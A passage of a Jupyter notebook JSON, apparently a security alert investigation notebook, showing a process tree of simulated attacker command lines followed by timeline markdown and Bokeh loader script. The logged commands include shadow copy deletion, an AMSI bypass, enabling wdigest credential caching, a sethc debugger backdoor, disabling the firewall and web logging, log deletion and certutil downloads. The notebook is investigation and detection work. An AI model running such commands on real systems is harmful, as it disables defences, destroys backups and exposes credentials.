(Cmdline: '.\\reg query add mscfile\\\\\\\\open') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:15.620000 C:\\Diagnostics\\UserTmp\\reg.exe [PID: 0x1584, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: '.\\reg add Image File Execution Options sethc.exe') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
\n", " [alert:lev0] 2019-01-15 05:15:15.677000 C:\\Diagnostics\\UserTmp\\ftp.exe\n", " [PID: 0x1580, SubjSess:0xfaac27, TargSess:0x0]\n", "
(Cmdline: '.\\ftp -s:C:\\RECYCLER\\xxppyy.exe') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:15.727000 C:\\Diagnostics\\UserTmp\\dubrute.exe [PID: 0x15c0, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: '.\\dubrute.exe') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:15.777000 C:\\Diagnostics\\UserTmp\\nlbrute.exe [PID: 0x1600, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: '.\\nlbrute.exe') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:15.827000 C:\\Diagnostics\\UserTmp\\reg.exe [PID: 0x15f0, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: '.\\reg add \"HKLM\\system\\CurrentControlSet\\Control\\Terminal Server\" /v \"fDenyTSConnections\" /t REG_DWORD /d 0x1 /f') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:15.880000 C:\\Diagnostics\\UserTmp\\reg.exe [PID: 0x162c, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: '.\\reg add \"HKLM\\system\\CurrentControlSet\\Control\\Terminal Server\" /v \"fDenyTSConnections\" /t REG_DWORD /d 0x0 /f') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:15.923000 C:\\Windows\\System32\\net.exe [PID: 0x166c, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'net use v: \\\\tsclient\\c') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:15.950000 C:\\Windows\\System32\\net.exe [PID: 0x1660, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'net v: /delete') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:16.020000 C:\\Diagnostics\\UserTmp\\cmd.exe [PID: 0x169c, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'cmd /c C:\\Windows\\System32\\mshta.exe vbscript:CreateObject(\"Wscript.Shell\").Run(\".\\powershell.exe -c \"\"$x=$((gp HKLM:Software\\Microsoft\\Windows\\CurrentVersion Certificate).Certificate);.\\powershell -E $y\"\"\",0,True)(window.close)') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:16.067000 C:\\Diagnostics\\UserTmp\\netsh.exe [PID: 0x168c, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: '.\\netsh advfirewall firewall add rule name=RbtGskQ action=allow program=c:\\users\\Bob\\appdata\\Roaming\\RbtGskQ\\RbtGskQ.exe') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:16.117000 C:\\Diagnostics\\UserTmp\\reg.exe [PID: 0x16c8, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: '.\\reg add HKLM\\KEY_LOCAL_MACHINE\\...securityproviders\\wdigest uselogoncredential /t 1') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:16.167000 C:\\Diagnostics\\UserTmp\\reg.exe [PID: 0x16fc, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: '.\\reg not /domain:everything that /sid:shines is /krbtgt:golden !') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:16.277000 C:\\Diagnostics\\UserTmp\\cmd.exe [PID: 0x1700, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'cmd /c \"systeminfo && systeminfo\"') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:16.340000 C:\\Diagnostics\\UserTmp\\rundll32.exe [PID: 0x1728, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: '.\\rundll32 /C 12345.exe') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:16.400000 C:\\Diagnostics\\UserTmp\\rundll32.exe [PID: 0x175c, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: '.\\rundll32 /C c:\\users\\MSTICAdmin\\12345.exe') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:16.430000 C:\\Diagnostics\\UserTmp\\rundll32.exe [PID: 0x176c, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: '.\\rundll32 /C 1234.exe') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:16.500000 C:\\Diagnostics\\UserTmp\\rundll32.exe [PID: 0x17a0, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: '.\\rundll32 /C c:\\users\\MSTICAdmin\\1234.exe') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:16.510000 C:\\Diagnostics\\UserTmp\\rundll32.exe [PID: 0x17cc, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: '.\\rundll32 /C reg.exe') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:16.563000 C:\\Diagnostics\\UserTmp\\reg.exe [PID: 0x143c, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: '.\\reg.exe add \\hkcu\\software\\microsoft\\some\\key\\Run /v abadvalue') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:16.613000 C:\\Diagnostics\\UserTmp\\tsetup.1.exe [PID: 0x1064, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'c:\\Diagnostics\\UserTmp\\tsetup.1.exe C:\\Users\\MSTICAdmin\\AppData\\Local\\Temp\\2\\is-01DD7.tmp\\tsetup.1.0.14.tmp\" /SL5=\"$250276,19992586,423424,C:\\Users\\MSTICAdmin\\Downloads\\tsetup.1.0.14.exe') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:16.663000 C:\\Diagnostics\\UserTmp\\rundll32.exe [PID: 0x1434, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: '.\\rundll32.exe /C mshtml,RunHTMLApplication javascript:alert(tada!)') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:16.677000 C:\\Diagnostics\\UserTmp\\netsh.exe [PID: 0xbb4, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: '.\\netsh.exe \"in (*.exe) do start # artificial commandline solely for purposes of triggering test\"') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:16.720000 C:\\Diagnostics\\UserTmp\\cmd.exe [PID: 0x1404, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: '.\\cmd /c \"cd /d \"C:\\inetpub\\wwwroot\"&powershell Set-ExecutionPolicy RemoteSigned&echo [S]&cd&echo [E]\"') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:16.767000 C:\\Diagnostics\\UserTmp\\cmd.exe [PID: 0x148c, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: '.\\cmd /c \"cd /d \"C:\\inetpub\\wwwroot\"&powershell Enable-WSManCredSSP =2013Role Server -force&echo [S]&cd&echo [E]\"') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:16.807000 C:\\Diagnostics\\UserTmp\\cmd.exe [PID: 0x1464, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: '.\\cmd /c \"cd /d \"C:\\inetpub\\wwwroot\"&powershell winrm set winrm/config/service/Auth @{Kerberos=003D\"true\"}&echo [S]&cd&echo [E]\"') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:16.850000 C:\\Diagnostics\\UserTmp\\cmd.exe [PID: 0x14b8, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: '.\\cmd /c \"cd /d \"C:\\ProgramData\"© \\\\[REDACTED]\\c$\\users\\[REDACTED]\\Documents\\\"Password Change Dates.docx\"') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:16.893000 C:\\Diagnostics\\UserTmp\\cmd.exe [PID: 0x14ec, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: '.\\cmd /c \"cd /d \"C:\\inetpub\\wwwroot\"&c:\\windows\\system32\\inetsrv\\appcmd set config \"Default Web Site/\" /section:httplogging /dontLog:true&echo [S]&cd&echo [E]\"') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:16.967000 C:\\Diagnostics\\UserTmp\\cmd.exe [PID: 0x14f0, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: '.\\cmd /c \"cd /d \"C:\\inetpub\\wwwroot\"&del C:\\inetpub\\logs\\logFiles\\W3SVC1\\*.log /q&echo [S]&cd&echo [E]\"') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:17.020000 C:\\Diagnostics\\UserTmp\\perfc.dat [PID: 0x14e8, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'c:\\Diagnostics\\UserTmp\\perfc.dat ') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:17.077000 C:\\Diagnostics\\UserTmp\\sdopfjiowtbkjfnbeioruj.exe [PID: 0x1564, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'c:\\Diagnostics\\UserTmp\\sdopfjiowtbkjfnbeioruj.exe ') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:17.127000 C:\\Diagnostics\\UserTmp\\doubleextension.pdf.exe [PID: 0x155c, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'c:\\Diagnostics\\UserTmp\\doubleextension.pdf.exe ') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:17.137000 C:\\Windows\\System32\\vssadmin.exe [PID: 0x1550, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'vssadmin delete shadows /all /quiet') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:17.220000 C:\\Windows\\System32\\cmd.exe [PID: 0x158c, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'c:\\Windows\\System32\\cmd.exe /c net user') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:17.363000 C:\\Diagnostics\\UserTmp\\cmd.exe [PID: 0x15c8, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'cmd /c c:\\Diagnostics\\UserTmp\\scrsave.scr\"') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:17.410000 C:\\Diagnostics\\UserTmp\\svchost.exe [PID: 0x15ec, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'c:\\Diagnostics\\UserTmp\\svchost.exe ') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:17.457000 C:\\Diagnostics\\UserTmp\\smss.exe [PID: 0x15e8, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'c:\\Diagnostics\\UserTmp\\smss.exe ') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:17.493000 C:\\Windows\\System32\\svchost.exe [PID: 0x1630, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'c:\\Windows\\System32\\svchost.exe -k malicious') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:17.520000 C:\\Diagnostics\\UserTmp\\cmd.exe [PID: 0x1668, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'cmd.exe /c echo createobject\"msxml2.xmlhttp\") ') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:17.570000 C:\\Diagnostics\\UserTmp\\ASC_Alerttest_662jfi039n.exe [PID: 0x1658, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'ASC_Alerttest_662jfi039n.exe -foo') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:17.580000 C:\\Diagnostics\\UserTmp\\powershell.exe [PID: 0x1664, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: '.\\powershell.exe -command [ref].assembly.gettype('http://system.management.automation.amsiutils').getfield('amsiinitfailed','nonpublic,static').setvalue($null,$true)\\\"') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:17.650000 C:\\Diagnostics\\UserTmp\\netsh.exe [PID: 0x16d4, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'netsh start capture=yes IPv4.Address=1.2.3.4 tracefile=C:\\\\Users\\\\user\\\\AppData\\\\Local\\\\Temp\\\\bzzzzzz.txt') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:18.080000 C:\\Diagnostics\\UserTmp\\wuauclt.exe [PID: 0x16c0, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: '.\\wuauclt.exe /C \"c:\\windows\\softwaredistribution\\cscript.exe\"') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:18.287000 C:\\Diagnostics\\UserTmp\\lsass.exe [PID: 0x16f4, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: '.\\lsass.exe /C \"c:\\windows\\softwaredistribution\\cscript.exe\"') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:18.337000 C:\\Diagnostics\\UserTmp\\cmd.exe [PID: 0x1728, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'cmd /c \"powershell wscript.shell used to download a .gif\"') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:18.403000 C:\\Diagnostics\\UserTmp\\cacls.exe [PID: 0x1798, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'cacls.exe c:\\windows\\system32\\wscript.exe /e /t /g everyone:f') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:18.450000 C:\\Diagnostics\\UserTmp\\cmd.exe [PID: 0x1758, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'cmd /c \"cd /d \"C:\\inetpub\\wwwroot\"&c:\\windows\\system32\\inetsrv\\appcmd set config \"Default Web Site/\" /section:httplogging /dontLog:true&echo [S]&cd&echo [E]\"') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:18.500000 C:\\Diagnostics\\UserTmp\\2840.exe [PID: 0x17a8, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'c:\\Diagnostics\\UserTmp\\2840.exe ') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:18.547000 C:\\Diagnostics\\UserTmp\\a_keygen.exe [PID: 0x17f8, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'c:\\Diagnostics\\UserTmp\\a_keygen.exe ') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:18.553000 C:\\Diagnostics\\UserTmp\\cmd.exe [PID: 0x17cc, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'cmd /c echo \" SYSTEMINFO && SYSTEMINFO && DEL \"') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:18.630000 C:\\Diagnostics\\UserTmp\\bittorrent.exe [PID: 0x1414, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'c:\\Diagnostics\\UserTmp\\bittorrent.exe ') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:18.670000 C:\\Diagnostics\\UserTmp\\netsh.exe [PID: 0x28c, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'c:\\Diagnostics\\UserTmp\\netsh.exe firewall set opmode mode=disable profile=all') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:18.707000 C:\\Diagnostics\\UserTmp\\cmd.exe [PID: 0xc18, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'cmd /c echo rundll32.exe perfc.dat') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:18.770000 C:\\Diagnostics\\UserTmp\\ransomware.exe [PID: 0x1404, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'c:\\Diagnostics\\UserTmp\\ransomware.exe @ abc.com abc.wallet') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:18.820000 C:\\Diagnostics\\UserTmp\\cmd.exe [PID: 0x147c, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'cmd /c echo /e:vbscript.encode /b') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:18.867000 C:\\Diagnostics\\UserTmp\\pcalua.exe [PID: 0x1464, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'pcalua.exe -a \\\\server\\payload.dll') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:18.917000 C:\\Diagnostics\\UserTmp\\findstr.exe [PID: 0x14b8, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'findstr /si password sysvol *.txt') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:18.967000 C:\\Diagnostics\\UserTmp\\odbcconf.exe [PID: 0x14ec, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'odbcconf.exe /S /A {REGSVR C:\\Users\\Administrator\\AppData\\Roaming\\{RANDOM}.txt') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:19.010000 C:\\Diagnostics\\UserTmp\\odbcconf.exe [PID: 0x14f0, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'odbcconf.exe /f my.rspáá') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:19.060000 C:\\Diagnostics\\UserTmp\\SQLDumper.exe [PID: 0x14e8, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'sqldumper.exe 464 0 0x0110:40') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:19.127000 C:\\Diagnostics\\UserTmp\\mt.exe [PID: 0x1564, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'mt.exe port') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:19.180000 C:\\Diagnostics\\UserTmp\\mt.exe [PID: 0x155c, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'mt.exe smb') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:19.223000 C:\\Diagnostics\\UserTmp\\hd.exe [PID: 0x15b8, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'hd.exe -pslist') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:19.337000 C:\\Diagnostics\\UserTmp\\hd.exe [PID: 0x15d0, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'hd.exe -enum') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:19.403000 C:\\Diagnostics\\UserTmp\\netsh.exe [PID: 0x158c, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'netsh.exe PortOpenning') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:19.447000 C:\\Diagnostics\\UserTmp\\certutil.exe [PID: 0x1638, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'certutil -urlcache -split -f http://127.0.0.1/ ') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:19.490000 C:\\Diagnostics\\UserTmp\\reg.exe [PID: 0x1624, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: '.\\reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost\\MyNastySvcHostConfig\"') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:19.537000 C:\\Diagnostics\\UserTmp\\reg.exe [PID: 0x1628, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: '.\\reg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost\\MyNastySvcHostConfig\"') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:19.583000 C:\\Windows\\System32\\sc.exe [PID: 0x1654, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'sc create MSTICTestService binPath=C:\\Users\\MSTICA~1\\AppData\\Local\\Temp\\hd.exe DisplayName=\"Test Service\"') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:19.617000 C:\\Windows\\System32\\sc.exe [PID: 0x169c, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'sc delete MSTICTestService') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "if security_alert.primary_process and security_alert.primary_process.ProcessId:\n", " process_tree = qry.get_process_tree(provs=[query_times, security_alert])\n", "\n", " # Print out the text view of the process tree\n", " nbdisp.display_process_tree(process_tree)\n", "else:\n", " print('This alert has no process entity. See later in the notebook to retrieve all processes')\n" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "[Contents](#toc)\n", "## Process TimeLine\n", "This shows each process in the process tree on a timeline view.\n", "\n", "Labelling of individual process is very performance intensive and often results in nothing being displayed at all! Besides, for large numbers of processes it would likely result in an unreadable mess. \n", "\n", "Your main tools for negotiating the timeline are the Hover tool (toggled on and off by the speech bubble icon) and the wheel-zoom and pan tools (the former is an icon with an elipse and a magnifying glass, the latter is the crossed-arrows icon). The wheel zoom is particularly useful.\n", "\n", "As you hover over each process it will display the image name, PID and commandline.\n", "\n", "Also shown on the graphic is the timestamp line of the source/alert process." ] }, { "cell_type": "code", "execution_count": 39, "metadata": { "scrolled": true }, "outputs": [ { "data": { "text/html": [ "\n", "
\n", " \n", " Loading BokehJS ...\n", "
" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "application/javascript": [ "\n", "(function(root) {\n", " function now() {\n", " return new Date();\n", " }\n", "\n", " var force = true;\n", "\n", " if (typeof (root._bokeh_onload_callbacks) === \"undefined\" || force === true) {\n", " root._bokeh_onload_callbacks = [];\n", " root._bokeh_is_loading = undefined;\n", " }\n", "\n", " var JS_MIME_TYPE = 'application/javascript';\n", " var HTML_MIME_TYPE = 'text/html';\n", " var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n", " var CLASS_NAME = 'output_bokeh rendered_html';\n", "\n", " /**\n", " * Render data to the DOM node\n", " */\n", " function render(props, node) {\n", " var script = document.createElement(\"script\");\n", " node.appendChild(script);\n", " }\n", "\n", " /**\n", " * Handle when an output is cleared or removed\n", " */\n", " function handleClearOutput(event, handle) {\n", " var cell = handle.cell;\n", "\n", " var id = cell.output_area._bokeh_element_id;\n", " var server_id = cell.output_area._bokeh_server_id;\n", " // Clean up Bokeh references\n", " if (id !== undefined) {\n", " 